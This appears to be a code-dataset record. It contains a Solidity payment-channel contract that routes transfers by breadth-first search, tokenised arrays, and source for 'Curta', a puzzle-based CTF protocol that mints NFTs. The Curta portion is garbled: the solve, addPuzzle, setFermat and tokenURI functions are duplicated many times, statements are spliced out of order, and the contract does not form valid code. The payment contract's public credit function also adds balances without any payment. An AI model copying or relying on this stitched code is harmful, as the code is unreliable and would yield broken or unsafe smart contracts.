uint[](userIds.length); //Queue for BFS int[] memory P = new int[](userIds.length); //parents in bfs run for obtaining the path uint[5] memory data = [0, 0, 0, to, amount]; //some data for the algorithm //BFS algorithm uint id = 0; for(id = 0; id < userIds.length; ++id){ visited[userIds[id]] = false; } visited[from] = true; Q[data[2]++] = from; P[data[2]-1] = -1; while(data[1] < data[2]) { //while the queue is not empty, visit the next node in Queue if(exploreNode(Q, P, data)){ break; } } if(preparePath(pth, Q, P, data)){ //path found answer = "good"; }else{ //path not found answer = "bad"; } //for debugging and checking the correctness of BFS putPathInGlobal(pth, data); //finally transfer the amount through the path found if(!transferAmount(pth, data[0], amount)){ revert("Invalid Transaction"); } //update the number of successful transactions _path[1000] += 1; return; } //helper to check if account exists function accountExists(uint id1, uint id2) public view returns (bool) { uint i = 0; bool found = false; for(i = 0; i < users[id1].neighbours.length; ++i){ if(users[id1].neighbours[i] == id2) { found = true; break; } } if(!found) return false; found = false; for(i=0; i < users[id2].neighbours.length; ++i){ if(users[id2].neighbours[i] == id1) { found = true; break; } } return found; } //helper to see the list of registered users function showUsers() public view returns (uint[] memory) { return userIds; } //helper to check if userExists function userExists(uint id) internal view returns (bool) { for(uint i = 0; i < userIds.length; ++i) { if(userIds[i] == id) return true; } return false; } //credit amount to a an account function credit(uint id1, uint id2, uint amount) public { if(!userExists(id1) || !userExists(id2)){ revert("One of the users does not exist"); } if(!accountExists(id1, id2)) { revert("Account does not exist"); } users[id1].account[id2] += amount / 2; users[id1].bal += amount / 2; users[id2].account[id1] += (amount - amount/2); users[id2].bal += (amount - amount/2); return; } //helper to check a user's neighbours function showUserNeighbours(uint id) public view returns (uint[] memory) { if(!userExists(id)){ revert("User does not exist"); } return users[id].neighbours; } //add account to a user's struct / add neighbour in PCN function addNeighbour(uint uid, uint acc, uint balance) internal { User storage u = users[uid]; uint i = 0; for(i = 0; i < u.neighbours.length; ++i) { if(u.neighbours[i] == acc) return; } u.neighbours.push(acc); u.account[acc] = balance; } //Proof of Concept for BFS in solidity function shortestPath(uint from, uint to) public returns (bool){ uint[] memory pth = new uint[](userIds.length); uint[] memory Q = new uint[](userIds.length); int[] memory P = new int[](userIds.length); uint[5] memory data = [0, 0, 0, to, 0]; uint id = 0; for(id = 0; id < userIds.length; ++id){ visited[userIds[id]] = false; } visited[from] = true; Q[data[2]++] = from; P[data[2]-1] = -1; while(data[1] < data[2]) { if(exploreNode(Q, P, data)){ break; } } if(preparePath(pth, Q, P, data)){ answer = "good"; }else{ answer = "bad"; } putPathInGlobal(pth, data); return true; } //helper function to visit each node during BFS function exploreNode(uint[] memory Q, int[] memory P, uint[5] memory data) internal returns (bool) { if(Q[data[1]] == data[3]) return true; uint cur = Q[data[1]++]; uint i = 0; for(i = 0; i < users[cur].neighbours.length; ++i){ //only add to queue if the full amount can be sent through this edge if(!visited[users[cur].neighbours[i]] && users[cur].account[users[cur].neighbours[i]] >= data[4]){ visited[users[cur].neighbours[i]]=true; Q[data[2]++] = users[cur].neighbours[i]; P[data[2]-1] = int(data[1]-1); } } return false; } //to prepare path from the Queue and list of parents function preparePath(uint[] memory path, uint[] memory Q, int[] memory P, uint[5] memory data) internal pure returns (bool) { if(data[1] >= Q.length) return false; if(data[1] >= data[2]) return false; int node = int(data[1]); while(node >= 0){ path[data[0]++] = Q[uint(node)]; node = P[uint(node)]; } return true; } //to transfer an amount through a given path in the PCN function transferAmount(uint[] memory path, uint pathlength, uint amount) internal returns (bool){ if(pathlength < 1) return false; uint i = 0; bool check = true; for(i = 0; i < pathlength - 1; ++i){ if(users[path[i + 1]].account[path[i]] < amount) check = false; } if(!check) return false; users[path[0]].bal += amount; users[path[pathlength - 1]].bal -= amount; for(i = 0; i < pathlength - 1; ++i){ users[path[i]].account[path[i+1]] += amount; users[path[i+1]].account[path[i]] -= amount; } return true; } //helper function to view what path was chosen for the last transfer function path_() public view returns (int[] memory) { uint sz = 0; while(sz < _path.length && _path[sz] >= 0) sz++; int[] memory ret = new int[](sz); for(sz = 0; sz < ret.length; ++sz){ ret[sz] = _path[sz]; } return ret; } //helper function to make the last path found publicly available for debugging function putPathInGlobal(uint[] memory path, uint[5] memory data) internal { uint i = 0; for(i = 0; i < data[0]; ++i){ _path[i] = int(path[i]); } _path[i] = -1; } }
helper function to visit each node during BFSonly add to queue if the full amount can be sent through this edge
function exploreNode(uint[] memory Q, int[] memory P, uint[5] memory data) internal returns (bool) { if(Q[data[1]] == data[3]) return true; uint cur = Q[data[1]++]; uint i = 0; for(i = 0; i < users[cur].neighbours.length; ++i){ if(!visited[users[cur].neighbours[i]] && users[cur].account[users[cur].neighbours[i]] >= data[4]){ visited[users[cur].neighbours[i]]=true; Q[data[2]++] = users[cur].neighbours[i]; P[data[2]-1] = int(data[1]-1); } } return false; }
5,493,496
[ 1, 4759, 445, 358, 3757, 1517, 756, 4982, 605, 4931, 3700, 527, 358, 2389, 309, 326, 1983, 3844, 848, 506, 3271, 3059, 333, 3591, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 15233, 266, 907, 12, 11890, 8526, 3778, 2238, 16, 509, 8526, 3778, 453, 16, 2254, 63, 25, 65, 3778, 501, 13, 2713, 1135, 261, 6430, 13, 288, 203, 3639, 309, 12, 53, 63, 892, 63, 21, 13563, 422, 501, 63, 23, 5717, 327, 638, 31, 203, 203, 3639, 2254, 662, 273, 2238, 63, 892, 63, 21, 3737, 15, 15533, 203, 3639, 2254, 277, 273, 374, 31, 203, 3639, 364, 12, 77, 273, 374, 31, 277, 411, 3677, 63, 1397, 8009, 11166, 4390, 18, 2469, 31, 965, 77, 15329, 203, 5411, 309, 12, 5, 30129, 63, 5577, 63, 1397, 8009, 11166, 4390, 63, 77, 13563, 597, 3677, 63, 1397, 8009, 4631, 63, 5577, 63, 1397, 8009, 11166, 4390, 63, 77, 13563, 1545, 501, 63, 24, 5717, 95, 203, 7734, 9711, 63, 5577, 63, 1397, 8009, 11166, 4390, 63, 77, 13563, 33, 3767, 31, 203, 7734, 2238, 63, 892, 63, 22, 3737, 15, 65, 273, 3677, 63, 1397, 8009, 11166, 4390, 63, 77, 15533, 203, 7734, 453, 63, 892, 63, 22, 65, 17, 21, 65, 273, 509, 12, 892, 63, 21, 65, 17, 21, 1769, 203, 5411, 289, 203, 3639, 289, 203, 203, 3639, 327, 629, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x0000000006bC8D9e5e9d436217B88De704a9F307/sources/src/Curta.sol
@title Curta @author fiveoutofnine @notice A CTF protocol, where players create and solve EVM puzzles to earn NFTs (``Flag''). ------------------------------------------------------------------------- Constants ------------------------------------------------------------------------- ------------------------------------------------------------------------- Immutable Storage ------------------------------------------------------------------------- ------------------------------------------------------------------------- Storage ------------------------------------------------------------------------- ------------------------------------------------------------------------- Constructor + Functions -------------------------------------------------------------------------
contract Curta is ICurta, FlagsERC721, Owned { using LibString for uint256; uint256 constant PHASE_ONE_LENGTH = 2 days; uint256 constant SUBMISSION_LENGTH = 5 days; uint256 constant PHASE_TWO_MINIMUM_FEE = 0.02 ether; uint256 constant PHASE_TWO_PROTOCOL_FEE = 0.01 ether; uint120 constant DEFAULT_FLAG_COLORS = 0x181E28181E2827303DF0F6FC94A3B3; AuthorshipToken public immutable override authorshipToken; FlagRenderer public immutable override flagRenderer; uint32 public override puzzleId = 0; Fermat public override fermat; mapping(uint32 => PuzzleColorsAndSolves) public override getPuzzleColorsAndSolves; mapping(uint32 => PuzzleData) public override getPuzzle; mapping(uint32 => address) public override getPuzzleAuthor; mapping(address => mapping(uint32 => bool)) public override hasSolvedPuzzle; mapping(uint256 => bool) public override hasUsedAuthorshipToken; constructor(AuthorshipToken _authorshipToken, FlagRenderer _flagRenderer) FlagsERC721("Curta", "CTF") Owned(msg.sender) pragma solidity ^0.8.17; import { Owned } from "solmate/auth/Owned.sol"; import { LibString } from "solmate/utils/LibString.sol"; import { SafeTransferLib } from "solmate/utils/SafeTransferLib.sol"; import { FlagRenderer } from "./FlagRenderer.sol"; import { FlagsERC721 } from "./FlagsERC721.sol"; import { AuthorshipToken } from "@/contracts/AuthorshipToken.sol"; import { ICurta } from "@/contracts/interfaces/ICurta.sol"; import { IPuzzle } from "@/contracts/interfaces/IPuzzle.sol"; import { Base64 } from "@/contracts/utils/Base64.sol"; { authorshipToken = _authorshipToken; flagRenderer = _flagRenderer; puzzleId = 1; getPuzzleColorsAndSolves[1] = PuzzleColorsAndSolves({ colors: DEFAULT_FLAG_COLORS, phase0Solves: 1, phase1Solves: 1, phase2Solves: 0, solves: 2 }); getPuzzle[1] = PuzzleData({ puzzle: IPuzzle(0xc220AE2Ac78e9Fa4B8b0BBA87bdB0Bca23F368c2), addedTimestamp: uint40(1677715079), firstSolveTimestamp: uint40(1677719903) }); } { authorshipToken = _authorshipToken; flagRenderer = _flagRenderer; puzzleId = 1; getPuzzleColorsAndSolves[1] = PuzzleColorsAndSolves({ colors: DEFAULT_FLAG_COLORS, phase0Solves: 1, phase1Solves: 1, phase2Solves: 0, solves: 2 }); getPuzzle[1] = PuzzleData({ puzzle: IPuzzle(0xc220AE2Ac78e9Fa4B8b0BBA87bdB0Bca23F368c2), addedTimestamp: uint40(1677715079), firstSolveTimestamp: uint40(1677719903) }); } { authorshipToken = _authorshipToken; flagRenderer = _flagRenderer; puzzleId = 1; getPuzzleColorsAndSolves[1] = PuzzleColorsAndSolves({ colors: DEFAULT_FLAG_COLORS, phase0Solves: 1, phase1Solves: 1, phase2Solves: 0, solves: 2 }); getPuzzle[1] = PuzzleData({ puzzle: IPuzzle(0xc220AE2Ac78e9Fa4B8b0BBA87bdB0Bca23F368c2), addedTimestamp: uint40(1677715079), firstSolveTimestamp: uint40(1677719903) }); } getPuzzleAuthor[1] = 0xA85572Cd96f1643458f17340b6f0D6549Af482F5; hasUsedAuthorshipToken[1] = true; function solve(uint32 _puzzleId, uint256 _solution) external payable { if (hasSolvedPuzzle[msg.sender][_puzzleId]) { revert PuzzleAlreadySolved(_puzzleId); } PuzzleData memory puzzleData = getPuzzle[_puzzleId]; IPuzzle puzzle = puzzleData.puzzle; uint40 solveTimestamp = uint40(block.timestamp); uint8 phase = _computePhase(firstSolveTimestamp, solveTimestamp); if (phase == 3) revert SubmissionClosed(_puzzleId); if (!puzzle.verify(puzzle.generate(msg.sender), _solution)) { revert IncorrectSolution(); } if (firstSolveTimestamp == 0) { getPuzzle[_puzzleId].firstSolveTimestamp = solveTimestamp; ++getPuzzleColorsAndSolves[_puzzleId].phase0Solves; authorshipToken.curtaMint(msg.sender); } uint256 ethRemaining = msg.value; unchecked { _mint({ _to: msg.sender, _id: (uint256(_puzzleId) << 128) | getPuzzleColorsAndSolves[_puzzleId].solves++, _solveMetadata: uint56(((uint160(msg.sender) >> 132) << 28) | (_solution & 0xFFFFFFF)), _phase: phase }); if (phase == 1) { ++getPuzzleColorsAndSolves[_puzzleId].phase1Solves; if (ethRemaining < PHASE_TWO_MINIMUM_FEE) revert InsufficientFunds(); ++getPuzzleColorsAndSolves[_puzzleId].phase2Solves; SafeTransferLib.safeTransferETH(owner, PHASE_TWO_PROTOCOL_FEE); ethRemaining -= PHASE_TWO_PROTOCOL_FEE; } } } function solve(uint32 _puzzleId, uint256 _solution) external payable { if (hasSolvedPuzzle[msg.sender][_puzzleId]) { revert PuzzleAlreadySolved(_puzzleId); } PuzzleData memory puzzleData = getPuzzle[_puzzleId]; IPuzzle puzzle = puzzleData.puzzle; uint40 solveTimestamp = uint40(block.timestamp); uint8 phase = _computePhase(firstSolveTimestamp, solveTimestamp); if (phase == 3) revert SubmissionClosed(_puzzleId); if (!puzzle.verify(puzzle.generate(msg.sender), _solution)) { revert IncorrectSolution(); } if (firstSolveTimestamp == 0) { getPuzzle[_puzzleId].firstSolveTimestamp = solveTimestamp; ++getPuzzleColorsAndSolves[_puzzleId].phase0Solves; authorshipToken.curtaMint(msg.sender); } uint256 ethRemaining = msg.value; unchecked { _mint({ _to: msg.sender, _id: (uint256(_puzzleId) << 128) | getPuzzleColorsAndSolves[_puzzleId].solves++, _solveMetadata: uint56(((uint160(msg.sender) >> 132) << 28) | (_solution & 0xFFFFFFF)), _phase: phase }); if (phase == 1) { ++getPuzzleColorsAndSolves[_puzzleId].phase1Solves; if (ethRemaining < PHASE_TWO_MINIMUM_FEE) revert InsufficientFunds(); ++getPuzzleColorsAndSolves[_puzzleId].phase2Solves; SafeTransferLib.safeTransferETH(owner, PHASE_TWO_PROTOCOL_FEE); ethRemaining -= PHASE_TWO_PROTOCOL_FEE; } } } if (address(puzzle) == address(0)) revert PuzzleDoesNotExist(_puzzleId); uint40 firstSolveTimestamp = puzzleData.firstSolveTimestamp; function solve(uint32 _puzzleId, uint256 _solution) external payable { if (hasSolvedPuzzle[msg.sender][_puzzleId]) { revert PuzzleAlreadySolved(_puzzleId); } PuzzleData memory puzzleData = getPuzzle[_puzzleId]; IPuzzle puzzle = puzzleData.puzzle; uint40 solveTimestamp = uint40(block.timestamp); uint8 phase = _computePhase(firstSolveTimestamp, solveTimestamp); if (phase == 3) revert SubmissionClosed(_puzzleId); if (!puzzle.verify(puzzle.generate(msg.sender), _solution)) { revert IncorrectSolution(); } if (firstSolveTimestamp == 0) { getPuzzle[_puzzleId].firstSolveTimestamp = solveTimestamp; ++getPuzzleColorsAndSolves[_puzzleId].phase0Solves; authorshipToken.curtaMint(msg.sender); } uint256 ethRemaining = msg.value; unchecked { _mint({ _to: msg.sender, _id: (uint256(_puzzleId) << 128) | getPuzzleColorsAndSolves[_puzzleId].solves++, _solveMetadata: uint56(((uint160(msg.sender) >> 132) << 28) | (_solution & 0xFFFFFFF)), _phase: phase }); if (phase == 1) { ++getPuzzleColorsAndSolves[_puzzleId].phase1Solves; if (ethRemaining < PHASE_TWO_MINIMUM_FEE) revert InsufficientFunds(); ++getPuzzleColorsAndSolves[_puzzleId].phase2Solves; SafeTransferLib.safeTransferETH(owner, PHASE_TWO_PROTOCOL_FEE); ethRemaining -= PHASE_TWO_PROTOCOL_FEE; } } } function solve(uint32 _puzzleId, uint256 _solution) external payable { if (hasSolvedPuzzle[msg.sender][_puzzleId]) { revert PuzzleAlreadySolved(_puzzleId); } PuzzleData memory puzzleData = getPuzzle[_puzzleId]; IPuzzle puzzle = puzzleData.puzzle; uint40 solveTimestamp = uint40(block.timestamp); uint8 phase = _computePhase(firstSolveTimestamp, solveTimestamp); if (phase == 3) revert SubmissionClosed(_puzzleId); if (!puzzle.verify(puzzle.generate(msg.sender), _solution)) { revert IncorrectSolution(); } if (firstSolveTimestamp == 0) { getPuzzle[_puzzleId].firstSolveTimestamp = solveTimestamp; ++getPuzzleColorsAndSolves[_puzzleId].phase0Solves; authorshipToken.curtaMint(msg.sender); } uint256 ethRemaining = msg.value; unchecked { _mint({ _to: msg.sender, _id: (uint256(_puzzleId) << 128) | getPuzzleColorsAndSolves[_puzzleId].solves++, _solveMetadata: uint56(((uint160(msg.sender) >> 132) << 28) | (_solution & 0xFFFFFFF)), _phase: phase }); if (phase == 1) { ++getPuzzleColorsAndSolves[_puzzleId].phase1Solves; if (ethRemaining < PHASE_TWO_MINIMUM_FEE) revert InsufficientFunds(); ++getPuzzleColorsAndSolves[_puzzleId].phase2Solves; SafeTransferLib.safeTransferETH(owner, PHASE_TWO_PROTOCOL_FEE); ethRemaining -= PHASE_TWO_PROTOCOL_FEE; } } } hasSolvedPuzzle[msg.sender][_puzzleId] = true; function solve(uint32 _puzzleId, uint256 _solution) external payable { if (hasSolvedPuzzle[msg.sender][_puzzleId]) { revert PuzzleAlreadySolved(_puzzleId); } PuzzleData memory puzzleData = getPuzzle[_puzzleId]; IPuzzle puzzle = puzzleData.puzzle; uint40 solveTimestamp = uint40(block.timestamp); uint8 phase = _computePhase(firstSolveTimestamp, solveTimestamp); if (phase == 3) revert SubmissionClosed(_puzzleId); if (!puzzle.verify(puzzle.generate(msg.sender), _solution)) { revert IncorrectSolution(); } if (firstSolveTimestamp == 0) { getPuzzle[_puzzleId].firstSolveTimestamp = solveTimestamp; ++getPuzzleColorsAndSolves[_puzzleId].phase0Solves; authorshipToken.curtaMint(msg.sender); } uint256 ethRemaining = msg.value; unchecked { _mint({ _to: msg.sender, _id: (uint256(_puzzleId) << 128) | getPuzzleColorsAndSolves[_puzzleId].solves++, _solveMetadata: uint56(((uint160(msg.sender) >> 132) << 28) | (_solution & 0xFFFFFFF)), _phase: phase }); if (phase == 1) { ++getPuzzleColorsAndSolves[_puzzleId].phase1Solves; if (ethRemaining < PHASE_TWO_MINIMUM_FEE) revert InsufficientFunds(); ++getPuzzleColorsAndSolves[_puzzleId].phase2Solves; SafeTransferLib.safeTransferETH(owner, PHASE_TWO_PROTOCOL_FEE); ethRemaining -= PHASE_TWO_PROTOCOL_FEE; } } } function solve(uint32 _puzzleId, uint256 _solution) external payable { if (hasSolvedPuzzle[msg.sender][_puzzleId]) { revert PuzzleAlreadySolved(_puzzleId); } PuzzleData memory puzzleData = getPuzzle[_puzzleId]; IPuzzle puzzle = puzzleData.puzzle; uint40 solveTimestamp = uint40(block.timestamp); uint8 phase = _computePhase(firstSolveTimestamp, solveTimestamp); if (phase == 3) revert SubmissionClosed(_puzzleId); if (!puzzle.verify(puzzle.generate(msg.sender), _solution)) { revert IncorrectSolution(); } if (firstSolveTimestamp == 0) { getPuzzle[_puzzleId].firstSolveTimestamp = solveTimestamp; ++getPuzzleColorsAndSolves[_puzzleId].phase0Solves; authorshipToken.curtaMint(msg.sender); } uint256 ethRemaining = msg.value; unchecked { _mint({ _to: msg.sender, _id: (uint256(_puzzleId) << 128) | getPuzzleColorsAndSolves[_puzzleId].solves++, _solveMetadata: uint56(((uint160(msg.sender) >> 132) << 28) | (_solution & 0xFFFFFFF)), _phase: phase }); if (phase == 1) { ++getPuzzleColorsAndSolves[_puzzleId].phase1Solves; if (ethRemaining < PHASE_TWO_MINIMUM_FEE) revert InsufficientFunds(); ++getPuzzleColorsAndSolves[_puzzleId].phase2Solves; SafeTransferLib.safeTransferETH(owner, PHASE_TWO_PROTOCOL_FEE); ethRemaining -= PHASE_TWO_PROTOCOL_FEE; } } } function solve(uint32 _puzzleId, uint256 _solution) external payable { if (hasSolvedPuzzle[msg.sender][_puzzleId]) { revert PuzzleAlreadySolved(_puzzleId); } PuzzleData memory puzzleData = getPuzzle[_puzzleId]; IPuzzle puzzle = puzzleData.puzzle; uint40 solveTimestamp = uint40(block.timestamp); uint8 phase = _computePhase(firstSolveTimestamp, solveTimestamp); if (phase == 3) revert SubmissionClosed(_puzzleId); if (!puzzle.verify(puzzle.generate(msg.sender), _solution)) { revert IncorrectSolution(); } if (firstSolveTimestamp == 0) { getPuzzle[_puzzleId].firstSolveTimestamp = solveTimestamp; ++getPuzzleColorsAndSolves[_puzzleId].phase0Solves; authorshipToken.curtaMint(msg.sender); } uint256 ethRemaining = msg.value; unchecked { _mint({ _to: msg.sender, _id: (uint256(_puzzleId) << 128) | getPuzzleColorsAndSolves[_puzzleId].solves++, _solveMetadata: uint56(((uint160(msg.sender) >> 132) << 28) | (_solution & 0xFFFFFFF)), _phase: phase }); if (phase == 1) { ++getPuzzleColorsAndSolves[_puzzleId].phase1Solves; if (ethRemaining < PHASE_TWO_MINIMUM_FEE) revert InsufficientFunds(); ++getPuzzleColorsAndSolves[_puzzleId].phase2Solves; SafeTransferLib.safeTransferETH(owner, PHASE_TWO_PROTOCOL_FEE); ethRemaining -= PHASE_TWO_PROTOCOL_FEE; } } } } else if (phase == 2) { SafeTransferLib.safeTransferETH(getPuzzleAuthor[_puzzleId], ethRemaining); emit SolvePuzzle({ id: _puzzleId, solver: msg.sender, solution: _solution, phase: phase }); function addPuzzle(IPuzzle _puzzle, uint256 _tokenId) external { if (msg.sender != authorshipToken.ownerOf(_tokenId)) revert Unauthorized(); if (hasUsedAuthorshipToken[_tokenId]) revert AuthorshipTokenAlreadyUsed(_tokenId); hasUsedAuthorshipToken[_tokenId] = true; unchecked { uint32 curPuzzleId = ++puzzleId; getPuzzle[curPuzzleId] = PuzzleData({ puzzle: _puzzle, addedTimestamp: uint40(block.timestamp), firstSolveTimestamp: 0 }); } } function addPuzzle(IPuzzle _puzzle, uint256 _tokenId) external { if (msg.sender != authorshipToken.ownerOf(_tokenId)) revert Unauthorized(); if (hasUsedAuthorshipToken[_tokenId]) revert AuthorshipTokenAlreadyUsed(_tokenId); hasUsedAuthorshipToken[_tokenId] = true; unchecked { uint32 curPuzzleId = ++puzzleId; getPuzzle[curPuzzleId] = PuzzleData({ puzzle: _puzzle, addedTimestamp: uint40(block.timestamp), firstSolveTimestamp: 0 }); } } function addPuzzle(IPuzzle _puzzle, uint256 _tokenId) external { if (msg.sender != authorshipToken.ownerOf(_tokenId)) revert Unauthorized(); if (hasUsedAuthorshipToken[_tokenId]) revert AuthorshipTokenAlreadyUsed(_tokenId); hasUsedAuthorshipToken[_tokenId] = true; unchecked { uint32 curPuzzleId = ++puzzleId; getPuzzle[curPuzzleId] = PuzzleData({ puzzle: _puzzle, addedTimestamp: uint40(block.timestamp), firstSolveTimestamp: 0 }); } } getPuzzleAuthor[curPuzzleId] = msg.sender; getPuzzleColorsAndSolves[curPuzzleId].colors = DEFAULT_FLAG_COLORS; emit AddPuzzle(curPuzzleId, msg.sender, _puzzle); function setPuzzleColors(uint32 _puzzleId, uint120 _colors) external { if (getPuzzleAuthor[_puzzleId] != msg.sender) revert Unauthorized(); getPuzzleColorsAndSolves[_puzzleId].colors = _colors; emit UpdatePuzzleColors(_puzzleId, _colors); } function setFermat(uint32 _puzzleId) external { PuzzleData memory puzzleData = getPuzzle[_puzzleId]; if (puzzleData.firstSolveTimestamp == 0) revert PuzzleNotSolved(_puzzleId); if (fermat.puzzleId == _puzzleId) revert PuzzleAlreadyFermat(_puzzleId); unchecked { uint40 timeTaken = puzzleData.firstSolveTimestamp - puzzleData.addedTimestamp; if (timeTaken < fermat.timeTaken) revert PuzzleNotFermat(_puzzleId); fermat.puzzleId = _puzzleId; fermat.timeTaken = timeTaken; } address currentOwner = getTokenData[0].owner; unchecked { if (currentOwner != address(0)) { getUserBalances[currentOwner].balance--; delete getApproved[0]; emit Transfer(currentOwner, address(0), 0); } } } function setFermat(uint32 _puzzleId) external { PuzzleData memory puzzleData = getPuzzle[_puzzleId]; if (puzzleData.firstSolveTimestamp == 0) revert PuzzleNotSolved(_puzzleId); if (fermat.puzzleId == _puzzleId) revert PuzzleAlreadyFermat(_puzzleId); unchecked { uint40 timeTaken = puzzleData.firstSolveTimestamp - puzzleData.addedTimestamp; if (timeTaken < fermat.timeTaken) revert PuzzleNotFermat(_puzzleId); fermat.puzzleId = _puzzleId; fermat.timeTaken = timeTaken; } address currentOwner = getTokenData[0].owner; unchecked { if (currentOwner != address(0)) { getUserBalances[currentOwner].balance--; delete getApproved[0]; emit Transfer(currentOwner, address(0), 0); } } } address puzzleAuthor = getPuzzleAuthor[_puzzleId]; function setFermat(uint32 _puzzleId) external { PuzzleData memory puzzleData = getPuzzle[_puzzleId]; if (puzzleData.firstSolveTimestamp == 0) revert PuzzleNotSolved(_puzzleId); if (fermat.puzzleId == _puzzleId) revert PuzzleAlreadyFermat(_puzzleId); unchecked { uint40 timeTaken = puzzleData.firstSolveTimestamp - puzzleData.addedTimestamp; if (timeTaken < fermat.timeTaken) revert PuzzleNotFermat(_puzzleId); fermat.puzzleId = _puzzleId; fermat.timeTaken = timeTaken; } address currentOwner = getTokenData[0].owner; unchecked { if (currentOwner != address(0)) { getUserBalances[currentOwner].balance--; delete getApproved[0]; emit Transfer(currentOwner, address(0), 0); } } } function setFermat(uint32 _puzzleId) external { PuzzleData memory puzzleData = getPuzzle[_puzzleId]; if (puzzleData.firstSolveTimestamp == 0) revert PuzzleNotSolved(_puzzleId); if (fermat.puzzleId == _puzzleId) revert PuzzleAlreadyFermat(_puzzleId); unchecked { uint40 timeTaken = puzzleData.firstSolveTimestamp - puzzleData.addedTimestamp; if (timeTaken < fermat.timeTaken) revert PuzzleNotFermat(_puzzleId); fermat.puzzleId = _puzzleId; fermat.timeTaken = timeTaken; } address currentOwner = getTokenData[0].owner; unchecked { if (currentOwner != address(0)) { getUserBalances[currentOwner].balance--; delete getApproved[0]; emit Transfer(currentOwner, address(0), 0); } } } getUserBalances[puzzleAuthor].balance++; getTokenData[0].owner = puzzleAuthor; emit Transfer(address(0), puzzleAuthor, 0); function tokenURI(uint256 _tokenId) external view override returns (string memory) { TokenData memory tokenData = getTokenData[_tokenId]; require(tokenData.owner != address(0), "NOT_MINTED"); if (_tokenId == 0) { return "data:application/json;base64,eyJuYW1lIjoiRmVybWF0IiwiZGVzY3JpcHRpb24iOiJMb25nZX" "N0IHVuc29sdmVkIHB1enpsZS4iLCJpbWFnZV9kYXRhIjoiZGF0YTppbWFnZS9zdmcreG1sO2Jhc2U2NCxQSE4y" "WnlCM2FXUjBhRDBpTlRVd0lpQm9aV2xuYUhROUlqVTFNQ0lnZG1sbGQwSnZlRDBpTUNBd0lEVTFNQ0ExTlRBaU" "lHWnBiR3c5SW01dmJtVWlJSGh0Ykc1elBTSm9kSFJ3T2k4dmQzZDNMbmN6TG05eVp5OHlNREF3TDNOMlp5SStQ" "SEJoZEdnZ1ptbHNiRDBpSXpFNE1VVXlPQ0lnWkQwaVRUQWdNR2czTlRCMk56VXdTREI2SWk4K1BISmxZM1FnZU" "QwaU1UUXpJaUI1UFNJMk9TSWdkMmxrZEdnOUlqSTJOQ0lnYUdWcFoyaDBQU0kwTVRJaUlISjRQU0k0SWlCbWFX" "eHNQU0lqTWpjek1ETkVJaTgrUEhKbFkzUWdlRDBpTVRRM0lpQjVQU0kzTXlJZ2MzUnliMnRsUFNJak1UQXhNek" "ZESWlCM2FXUjBhRDBpTWpVMklpQm9aV2xuYUhROUlqUXdOQ0lnY25nOUlqUWlJR1pwYkd3OUlpTXdaREV3TVRj" "aUx6NDhMM04yWno0PSJ9"; } PuzzleData memory puzzleData = getPuzzle[_puzzleId]; address author = getPuzzleAuthor[_puzzleId]; uint32 solves = getPuzzleColorsAndSolves[_puzzleId].solves; uint120 colors = getPuzzleColorsAndSolves[_puzzleId].colors; ? 0 : tokenData.solveTimestamp < puzzleData.firstSolveTimestamp + PHASE_ONE_LENGTH ? 1 : 2; return flagRenderer.render({ _puzzleData: puzzleData, _author: author, _solveTime: tokenData.solveTimestamp - puzzleData.addedTimestamp, _solveMetadata: tokenData.solveMetadata, _phase: phase, _solves: solves, _colors: colors }); } function tokenURI(uint256 _tokenId) external view override returns (string memory) { TokenData memory tokenData = getTokenData[_tokenId]; require(tokenData.owner != address(0), "NOT_MINTED"); if (_tokenId == 0) { return "data:application/json;base64,eyJuYW1lIjoiRmVybWF0IiwiZGVzY3JpcHRpb24iOiJMb25nZX" "N0IHVuc29sdmVkIHB1enpsZS4iLCJpbWFnZV9kYXRhIjoiZGF0YTppbWFnZS9zdmcreG1sO2Jhc2U2NCxQSE4y" "WnlCM2FXUjBhRDBpTlRVd0lpQm9aV2xuYUhROUlqVTFNQ0lnZG1sbGQwSnZlRDBpTUNBd0lEVTFNQ0ExTlRBaU" "lHWnBiR3c5SW01dmJtVWlJSGh0Ykc1elBTSm9kSFJ3T2k4dmQzZDNMbmN6TG05eVp5OHlNREF3TDNOMlp5SStQ" "SEJoZEdnZ1ptbHNiRDBpSXpFNE1VVXlPQ0lnWkQwaVRUQWdNR2czTlRCMk56VXdTREI2SWk4K1BISmxZM1FnZU" "QwaU1UUXpJaUI1UFNJMk9TSWdkMmxrZEdnOUlqSTJOQ0lnYUdWcFoyaDBQU0kwTVRJaUlISjRQU0k0SWlCbWFX" "eHNQU0lqTWpjek1ETkVJaTgrUEhKbFkzUWdlRDBpTVRRM0lpQjVQU0kzTXlJZ2MzUnliMnRsUFNJak1UQXhNek" 